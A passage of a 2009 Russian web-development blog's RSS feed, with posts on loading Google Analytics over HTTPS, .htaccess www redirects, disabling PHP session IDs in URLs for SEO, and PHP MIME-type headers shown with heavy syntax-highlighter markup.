		<description><![CDATA[Google Analytics великолепный инструмент, особенно для коммерческих сайтов. Analytics в связке с Adwords способен творить чудеса ). Google Analytics предоставляет следующий код для вставки на страницу &#60;script src=&#187;http://www.google-analytics.com/urchin.js&#187; type=&#187;text/javascript&#187;&#62;&#60;/script&#62;&#60;script type=&#187;text/javascript&#187;&#62;_uacct=&#8217;UA-#######-#&#8217;;urchinTracker();&#60;/script&#62; Но если вставить этот код на страницу использующую защищенное соединение SSL (https) то пользователю повылазит на странице предупреждающее сообщение и небезопрасных элементах в контексте страницы [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<a href="http://saintist.ru/wp-content/uploads/2009/05/googleanalytics-intro.jpg"><img class="size-full wp-image-495 aligncenter" title="googleanalytics-intro" src="http://saintist.ru/wp-content/uploads/2009/05/googleanalytics-intro.jpg" alt="googleanalytics-intro" width="520" height="374" /></a></p>
<p>Google Analytics великолепный инструмент, особенно для коммерческих сайтов. Analytics в связке с Adwords способен творить чудеса ).</p>
<p>Google Analytics предоставляет следующий код  для вставки на страницу<br />
<span id="more-494"></span></p>
<p>&lt;script src=&#187;http://www.google-analytics.com/urchin.js&#187; type=&#187;text/javascript&#187;&gt;&lt;/script&gt;&lt;script type=&#187;text/javascript&#187;&gt;_uacct=&#8217;UA-#######-#&#8217;;urchinTracker();&lt;/script&gt;</p>
<p>Но если вставить этот код  на страницу использующую защищенное соединение SSL (https) то пользователю повылазит на странице  предупреждающее  сообщение и небезопрасных  элементах в контексте страницы , а это поднимет уже вопрос доверия пользователяк  ресурсу (есть такие пользователи неособо разбирающиеся что к чему ).</p>
<p>Для того чтобы избежать этого  следует немного модифицировать код  вставки </p>
<p><code class="plain">&lt;script src=</code><code class="string">"https://ssl.google-analytics.com/urchin.js"</code><code class="plain">type=</code><code class="string">"text/javascript"</code><code class="plain">&gt;&lt;/script&gt;&lt;script type=</code><code class="string">"text/javascript"</code><code class="plain">&gt;_uacct=</code><code class="string">'UA-#######-#'</code><code class="plain">;urchinTracker();&lt;/script&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/google-analytics-v-rezhime-secure-ssl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WWW в URL нужен или нет используем .htaccess</title>
		<link>http://saintist.ru/2009/05/29/www-nuzhen-ili-net-ispolzuem-htaccess/</link>
		<comments>http://saintist.ru/2009/05/29/www-nuzhen-ili-net-ispolzuem-htaccess/#comments</comments>
		<pubDate>Fri, 29 May 2009 07:17:23 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=491</guid>
		<description><![CDATA[Есть некоторые явные преимущества для устранения &#171;WWW&#187; из URL: Короткие URL-адреса Минус трафик, если у вас есть множество ссылок на страницу .htaccess для URL без www RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} !^domain.com$ [NC] RewriteRule ^(.*)$ http://domain.com/$1 [L,R=301] .htaccess для URL только с www RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} !^www.domain.com$ [NC] RewriteRule ^(.*)$ http://www.domain.com/$1 [...]]]></description>
			<content:encoded><![CDATA[<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Есть некоторые явные преимущества для устранения &#171;WWW&#187; из URL:</span></p>
<ul>
<li><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Короткие URL-адреса</span></li>
<li><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Минус трафик, если у вас есть множество ссылок на страницу</span></li>
</ul>
<p><span id="more-491"></span></p>
<p><strong>.htaccess для  URL без www</strong></p>
<p>RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{HTTP_HOST} !^domain.com$ [NC]<br />
RewriteRule ^(.*)$ http://domain.com/$1 [L,R=301]</p>
<p><strong>.htaccess для  URL только с www</strong></p>
<p>RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{HTTP_HOST} !^www.domain.com$ [NC]<br />
RewriteRule ^(.*)$ http://www.domain.com/$1 [L,R=301]</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/www-nuzhen-ili-net-ispolzuem-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Сессии и Google Page Rank</title>
		<link>http://saintist.ru/2009/05/29/php-sessii-i-google-page-rank/</link>
		<comments>http://saintist.ru/2009/05/29/php-sessii-i-google-page-rank/#comments</comments>
		<pubDate>Fri, 29 May 2009 06:51:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=486</guid>
		<description><![CDATA[Многие PHP движки используют как основу авторизации пользователей механизм сессий PHP (PHP $_SESSION). если вдобавок прикрутить буферизацию вывода то получается просто сказка. Но. Есть небольшой нюанс. Существует режим передачи идентификатора сессии в некоторых случаях в адресной строке GET параметром. Ссылки приобретают вид http://saintist.ru/?PHPSESSID=61ca9c60b10cc8f481ac9c1 И если такой режим включен то GoogleBot может воспринимать одни и теже [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/prgoogle.jpg"><img class="size-full wp-image-488 aligncenter" title="prgoogle" src="http://saintist.ru/wp-content/uploads/2009/05/prgoogle.jpg" alt="prgoogle" width="300" height="300" /></a></p>
<p>Многие  PHP движки используют  как основу авторизации пользователей механизм   сессий PHP (<strong>PHP $_SESSION</strong>).</p>
<p>если вдобавок прикрутить буферизацию вывода то получается просто сказка.</p>
<p>Но. Есть небольшой нюанс.<br />
<span id="more-486"></span><br />
Существует режим передачи идентификатора сессии в некоторых  случаях   в адресной строке GET параметром.</p>
<p>Ссылки приобретают вид <a href="http://saintist.ru/?PHPSESSID=61ca9c60b10cc8f481ac9c1">http://saintist.ru/?PHPSESSID=61ca9c60b10cc8f481ac9c1</a></p>
<p>И если такой режим включен то GoogleBot может  воспринимать одни и теже страницы как разные, урл  то разные, но с дублирующимся контентом.</p>
<p>Итак, что же делать, чтобы исправить эту проблему?</p>
<p>перед тем как инициализировать  сессию php</p>
<p>session_start();</p>
<p>нужно добавить строки</p>
<p><strong>ini_set(&#8216;session.use_trans_sid&#8217;, false);</strong></p>
<p><strong>ini_set(&#8216;session.use_only_cookies&#8217;, true);</p>
<p></strong></p>
<p><strong>ini_set(&#8216;url_rewriter.tags&#8217;, &#187;);</strong></p>
<p>или же все тоже можно сделать  поместив в  .htaccess строку</p>
<p><strong>php_flag session.use_trans_sid off</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/php-sessii-i-google-page-rank/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Headers популярные Mime Types</title>
		<link>http://saintist.ru/2009/05/29/php-headers-populyarnye-mime-types/</link>
		<comments>http://saintist.ru/2009/05/29/php-headers-populyarnye-mime-types/#comments</comments>
		<pubDate>Fri, 29 May 2009 05:52:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=481</guid>
		<description><![CDATA[Список наиболее популярных PHP заголовкой маймтайпов Atom view sourceprint? 1.header('Content-type: application/atom+xml'); CSS view sourceprint? 1.header('Content-type: text/css'); Javascript view sourceprint? 1.header('Content-type: text/javascript'); JPEG Image view sourceprint? 1.header('Content-type: image/jpeg'); JSON view sourceprint? 1.header('Content-type: application/json'); для JSON есть эксперементальный префикс view sourceprint? 1.header('Content-type: application/x-json'); PDF view sourceprint? 1.header('Content-type: application/pdf'); RSS view sourceprint? 1.header('Content-Type: application/rss+xml; charset=ISO-8859-1'); Text (Plain) view [...]]]></description>
			<content:encoded><![CDATA[<p>Список наиболее популярных PHP заголовкой маймтайпов<br />
<span id="more-481"></span></p>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;"></h2>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">Atom</h2>
<div id="highlighter_616334" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: application/atom+xml'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">CSS</h2>
<div id="highlighter_388787" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: text/css'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">Javascript</h2>
<div id="highlighter_183226" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: text/javascript'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto 